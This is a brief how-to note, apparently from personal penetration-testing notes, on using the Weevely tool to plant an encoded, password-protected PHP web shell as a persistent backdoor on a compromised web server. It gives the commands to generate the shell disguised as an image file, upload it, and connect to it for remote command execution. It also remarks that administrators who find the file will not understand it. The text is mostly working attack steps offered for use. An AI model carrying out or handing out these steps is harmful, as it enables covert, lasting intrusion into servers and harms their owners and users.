Used by attackers as a backdoor that they can always or frequently will have access to the web server that they have compromised.

• Even if system administrators finds this on the server they will not know what its all about.
• Of course if they analyze the content they’ll know that it’s being used for command injection but if they try to access it or get it be executed it’ll require the password.
• Also the payload are encoded so difficult to understand.

1. To generate a shell file

   weevely generate password ~/Desktop/weekly.jpg
   

2. Upload the web shell to the web app and then get the file location link.

   <https://domain.com/uploads/weevely.jpg/weevely.php>
   

3. Then to get a revere or sudo shell of the target system:

   weevely <https://domain.com/uploads/weevely.jpg/weevely.php> password
   

   <aside> 💡 Utilizes HTTP requests for the communication.

   </aside>